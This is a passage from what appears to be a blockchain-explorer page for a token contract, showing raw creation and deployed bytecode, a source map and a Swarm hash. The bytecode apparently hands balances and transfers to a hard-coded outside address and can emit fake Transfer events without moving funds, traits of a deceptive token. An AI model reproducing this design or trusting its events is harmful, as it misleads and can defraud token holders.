677662755a573054746558636b337a5471547441626c6d4a794f6f505f6e79415958676b31425539683533646775506d54524b447a54394b6c326363476e616636357a3162446c584f41524d526f4533615f384558537a72727a69777156466b436b5452613276697656347152756e7a74654a4b39466f7569696576526866625541716c32434179415630574d49626c5651666c6a35533242636d6e575f6f35694748324a476f434474325f52636369527a745156483962736245384f536b6838747a4f3850464778776370714577486e547255743645346a554f69624750757156525255586359376e4a7067347649386a34474662306d79495651595869656536756b337757317a735f68774a48456e467a4b4a30636d596d3443746156773871396931615a6f683750494a454b4571317253377645684470466c3849585f6f5662394c537247724d78664763766b446d513236614b5f593757625545444147364b5f57575379476e354f4f66494459534e64434c6161633955466365544735764ba2646970667358221220ced0545f840f549038cf451678bf53b1b6b0768cb1158417e186137f45b0db9464736f6c634300060c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c806384e7e3d3116100ad578063a9059cbb11610071578063a9059cbb14610330578063b4eddb811461035c578063d93aef1114610364578063dd62ed3e146103e6578063df557bc01461041457610121565b806384e7e3d3146102c85780638bb12432146102d057806395d89b41146102d8578063a457c2d7146102e0578063a5a302d31461030c57610121565b806323b872dd116100f457806323b872dd14610205578063313ce5671461023b578063376fcb6d14610259578063395093511461027657806370a08231146102a257610121565b806306fdde0314610126578063095ea7b3146101a35780630de5d1d9146101e357806318160ddd146101fd575b600080fd5b61012e61041c565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b0381351690602001356104aa565b604080519115158252519081900360200190f35b6101eb6104c7565b60408051918252519081900360200190f35b6101eb6104cd565b6101cf6004803603606081101561021b57600080fd5b506001600160a01b038135811691602081013590911690604001356104d3565b61024361056b565b6040805160ff9092168252519081900360200190f35b6101eb6004803603602081101561026f57600080fd5b5035610574565b6101cf6004803603604081101561028c57600080fd5b506001600160a01b038135169060200135610588565b6101eb600480360360208110156102b857600080fd5b50356001600160a01b0316610620565b6101eb6106b5565b61012e6106bd565b61012e6106dc565b6101cf600480360360408110156102f657600080fd5b506001600160a01b038135169060200135610737565b6103146107cf565b604080516001600160a01b039092168252519081900360200190f35b6101cf6004803603604081101561034657600080fd5b506001600160a01b0381351690602001356107e3565b6101eb6107f7565b6103e46004803603606081101561037a57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156103a557600080fd5b8201836020820111156103b757600080fd5b803590602001918460208302840111640100000000831117156103d957600080fd5b919350915035610803565b005b6101eb600480360360408110156103fc57600080fd5b506001600160a01b03813581169160200135166108f5565b6101eb610920565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104a25780601f10610477576101008083540402835291602001916104a2565b820191906000526020600020905b81548152906001019060200180831161048557829003601f168201915b505050505081565b60006104be6104b7610987565b848461098b565b50600192915050565b60065481565b60025490565b60006001600160a01b038416158015906104f557506001600160a01b03831615155b6104fe57600080fd5b6105568461050a610987565b6001600160a01b038716600090815260016020526040812061055191879190610531610987565b6001600160a01b0316815260208101919091526040016000205490610a83565b61098b565b610561848484610ae0565b5060019392505050565b60055460ff1681565b6007816006811061058157fe5b0154905081565b60006001600160a01b0383166105d4576040805162461bcd60e51b815260206004820152600c60248201526b0617070726f766520746f20360a41b604482015290519081900360640190fd5b6104be6105df610987565b8461055185600160006105f0610987565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610926565b600073a089aed7d4e885ce2f548934fc26af275dcf76066001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561068357600080fd5b505afa158015610697573d6000803e3d6000fd5b505050506040513d60208110156106ad57600080fd5b505192915050565b6301e1338081565b6040518061032001604052806102ee8152602001610cdb6102ee913981565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104a25780601f10610477576101008083540402835291602001916104a2565b60006001600160a01b038316610783576040805162461bcd60e51b815260206004820152600c60248201526b0617070726f766520746f20360a41b604482015290519081900360640190fd5b6104be61078e610987565b84610551856001600061079f610987565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610a83565b60055461010090046001600160a01b031681565b60006104be6107f0610987565b8484610ae0565b6006546301e133800190565b8061080d576108ef565b60008111801561083057503373a089aed7d4e885ce2f548934fc26af275dcf7606145b610874576040805162461bcd60e51b815260206004820152601060248201526f6578706972656420646561646c696e6560801b604482015290519081900360640190fd5b60005b828110156108ed5783838281811061088b57fe5b905060200201356001600160a01b03166001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600101610877565b505b50505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600d5481565b600082820183811015610980576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166109d7576040805162461bcd60e51b815260206004820152600e60248201526d0617070726f76652066726f6d20360941b604482015290519081900360640190fd5b6001600160a01b038216610a21576040805162461bcd60e51b815260206004820152600c60248201526b0617070726f766520746f20360a41b604482015290519081900360640190fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600082821115610ada576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6001600160a01b038316610b2d576040805162461bcd60e51b815260206004820152600f60248201526e07472616e736665722066726f6d203608c1b604482015290519081900360640190fd5b6001600160a01b038216610b78576040805162461bcd60e51b815260206004820152600d60248201526c07472616e7366657220746f203609c1b604482015290519081900360640190fd5b604080516001600160a01b0385811660248301528416604482015260648101839052336084808301919091528251808303909101815260a490910182526020810180516001600160e01b0316630d95f34360e31b1781529151815160009373a089aed7d4e885ce2f548934fc26af275dcf76069392918291908083835b60208310610c145780518252601f199092019160209182019101610bf5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610c76576040519150601f19603f3d011682016040523d82523d6000602084013e610c7b565b606091505b5050905080610c8957600080fd5b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505056fe4a65343771783630636772484e784277337969326947414879476562665734324b3937495765685375646e374c7a466a50376f337243413361625934394f655957734e6a5038637862514d435f34434345506c373436476153337479593278636f71656f56726671614c7539614769707073537172453756504577354748724e4141416e5736795f336f3136776576615265646e426831796e7442434d68426d6d51715973306d35627a4b5372743165596f6e6e654a513066336c756a5068566a764d426d4c4e61703454365f6534624356354c5a6e63416d423731773130777753304f38753865776238707578383350494d6f5a4a6e794e6c68615436305a72625f766e7268337a7a3333497656734236716d346d354c766a644e5735754f57526b3342373070526d6f516e79556b3947324935516c6b5863595157496d304855665a366f6f4638444c556231594a6e52666c767130535f4e78724a4a4e524f5a735143727238623836677662755a573054746558636b337a5471547441626c6d4a794f6f505f6e79415958676b31425539683533646775506d54524b447a54394b6c326363476e616636357a3162446c584f41524d526f4533615f384558537a72727a69777156466b436b5452613276697656347152756e7a74654a4b39466f7569696576526866625541716c32434179415630574d49626c5651666c6a35533242636d6e575f6f35694748324a476f434474325f52636369527a745156483962736245384f536b6838747a4f3850464778776370714577486e547255743645346a554f69624750757156525255586359376e4a7067347649386a34474662306d79495651595869656536756b337757317a735f68774a48456e467a4b4a30636d596d3443746156773871396931615a6f683750494a454b4571317253377645684470466c3849585f6f5662394c537247724d78664763766b446d513236614b5f593757625545444147364b5f57575379476e354f4f66494459534e64434c6161633955466365544735764ba2646970667358221220ced0545f840f549038cf451678bf53b1b6b0768cb1158417e186137f45b0db9464736f6c634300060c0033

Deployed Bytecode Sourcemap

21755:1110:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10260:18;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12620:167;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;12620:167:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;22183:29;;;:::i;:::-;;;;;;;;;;;;;;;;11602:101;;;:::i;13260:320::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;13260:320:0;;;;;;;;;;;;;;;;;:::i;11057:21::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;22384:32;;;;;;;;;;;;;;;;-1:-1:-1;22384:32:0;;:::i;13991:269::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;13991:269:0;;;;;;;;:::i;11766:129::-;;;;;;;;;;;;;;;;-1:-1:-1;11766:129:0;-1:-1:-1;;;;;11766:129:0;;:::i;21945:48::-;;;:::i;6425:789::-;;;:::i;10398:20::-;;;:::i;14766:269::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;14766:269:0;;;;;;;;:::i;22088:23::-;;;:::i;:::-;;;;-1:-1:-1;;;;;22088:23:0;;;;;;;;;;;;;;12103:157;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;12103:157:0;;;;;;;;:::i;22754:108::-;;;:::i;17508:385::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17508:385:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17508:385:0;-1:-1:-1;17508:385:0;;:::i;:::-;;12323:149;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;12323:149:0;;;;;;;;;;:::i;22496:27::-;;;:::i;10260:18::-;;;;;;;;;;;;;;;-1:-1:-1;;10260:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;12620:167::-;12699:4;12716:41;12725:12;:10;:12::i;:::-;12739:8;12749:7;12716:8;:41::i;:::-;-1:-1:-1;12775:4:0;12620:167;;;;:::o;22183:29::-;;;;:::o;11602:101::-;11683:12;;11602:101;:::o;13260:320::-;13354:4;-1:-1:-1;;;;;13379:19:0;;;;;;:40;;-1:-1:-1;;;;;;13402:17:0;;;;13379:40;13371:49;;;;;;13433:76;13442:5;13449:12;:10;:12::i;:::-;-1:-1:-1;;;;;13463:18:0;;;;;;:11;:18;;;;;:45;;13500:7;;13463:18;13482:12;:10;:12::i;:::-;-1:-1:-1;;;;;13463:32:0;;;;;;;;;;;;-1:-1:-1;13463:32:0;;;:36;:45::i;:::-;13433:8;:76::i;:::-;13520:30;13530:5;13537:3;13542:7;13520:9;:30::i;:::-;-1:-1:-1;13568:4:0;13260:320;;;;;:::o;11057:21::-;;;;;;:::o;22384:32::-;;;;;;;;;;;;;-1:-1:-1;22384:32:0;:::o;13991:269::-;14071:4;-1:-1:-1;;;;;14096:22:0;;14088:47;;;;;-1:-1:-1;;;14088:47:0;;;;;;;;;;;;-1:-1:-1;;;14088:47:0;;;;;;;;;;;;;;;14148:82;14157:12;:10;:12::i;:::-;14171:8;14181:48;14221:7;14181:11;:25;14193:12;:10;:12::i;:::-;-1:-1:-1;;;;;14181:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;14181:25:0;;;:35;;;;;;;;;;;:39;:48::i;11766:129::-;11831:7;6221:48;-1:-1:-1;;;;;11858:21:0;;11880:6;11858:29;;;;;;;;;;;;;-1:-1:-1;;;;;11858:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11858:29:0;;11766:129;-1:-1:-1;;11766:129:0:o;21945:48::-;21985:8;21945:48;:::o;6425:789::-;;;;;;;;;;;;;;;;;;;:::o;10398:20::-;;;;;;;;;;;;;;;-1:-1:-1;;10398:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14766:269;14846:4;-1:-1:-1;;;;;14871:22:0;;14863:47;;;;;-1:-1:-1;;;14863:47:0;;;;;;;;;;;;-1:-1:-1;;;14863:47:0;;;;;;;;;;;;;;;14923:82;14932:12;:10;:12::i;:::-;14946:8;14956:48;14996:7;14956:11;:25;14968:12;:10;:12::i;:::-;-1:-1:-1;;;;;14956:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;14956:25:0;;;:35;;;;;;;;;;;:39;:48::i;22088:23::-;;;;;;-1:-1:-1;;;;;22088:23:0;;:::o;12103:157::-;12176:4;12193:37;12203:12;:10;:12::i;:::-;12217:3;12222:7;12193:9;:37::i;22754:108::-;22824:14;;21985:8;22824:30;22754:108;:::o;17508:385::-;17612:14;17608:53;;17643:7;;17608:53;17695:1;17683:9;:13;:51;;;;-1:-1:-1;17700:10:0;6221:48;17700:34;17683:51;17675:80;;;;;-1:-1:-1;;;17675:80:0;;;;;;;;;;;;-1:-1:-1;;;17675:80:0;;;;;;;;;;;;;;;17773:9;17768:118;17788:19;;;17768:118;;;17851:8;;17860:1;17851:11;;;;;;;;;;;;;-1:-1:-1;;;;;17851:11:0;-1:-1:-1;;;;;17834:40:0;17843:6;-1:-1:-1;;;;;17834:40:0;;17864:9;17834:40;;;;;;;;;;;;;;;;;;17809:3;;17768:118;;;;17508:385;;;;;:::o;12323:149::-;-1:-1:-1;;;;;12435:19:0;;;12408:7;12435:19;;;:11;:19;;;;;;;;:29;;;;;;;;;;;;;12323:149::o;22496:27::-;;;;:::o;317:181::-;375:7;407:5;;;431:6;;;;423:46;;;;;-1:-1:-1;;;423:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;489:1;317:181;-1:-1:-1;;;317:181:0:o;5830:106::-;5918:10;5830:106;:::o;16331:305::-;-1:-1:-1;;;;;16428:20:0;;16420:47;;;;;-1:-1:-1;;;16420:47:0;;;;;;;;;;;;-1:-1:-1;;;16420:47:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;16486:22:0;;16478:47;;;;;-1:-1:-1;;;16478:47:0;;;;;;;;;;;;-1:-1:-1;;;16478:47:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;16538:19:0;;;;;;;:11;:19;;;;;;;;:29;;;;;;;;;;;;;:39;;;16593:35;;;;;;;;;;;;;;;;;16331:305;;;:::o;773:184::-;831:7;864:1;859;:6;;851:49;;;;;-1:-1:-1;;;851:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;923:5:0;;;773:184::o;15512:377::-;-1:-1:-1;;;;;15604:19:0;;15596:47;;;;;-1:-1:-1;;;15596:47:0;;;;;;;;;;;;-1:-1:-1;;;15596:47:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;15662:17:0;;15654:43;;;;;-1:-1:-1;;;15654:43:0;;;;;;;;;;;;-1:-1:-1;;;15654:43:0;;;;;;;;;;;;;;;15756:67;;;-1:-1:-1;;;;;15756:67:0;;;;;;;;;;;;;;;;;;;15812:10;15756:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15756:67:0;-1:-1:-1;;;15756:67:0;;;15730:94;;;;15719:6;;6221:48;;15756:67;15730:94;;;15756:67;15730:94;;15756:67;15730:94;;;;;;;;;;-1:-1:-1;;15730:94:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15718:106;;;15834:1;15826:10;;;;;;15868:3;-1:-1:-1;;;;;15852:29:0;15861:5;-1:-1:-1;;;;;15852:29:0;;15873:7;15852:29;;;;;;;;;;;;;;;;;;15512:377;;;;:::o

Swarm Source

ipfs://ced0545f840f549038cf451678bf53b1b6b0768cb1158417e186137f45b0db94
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.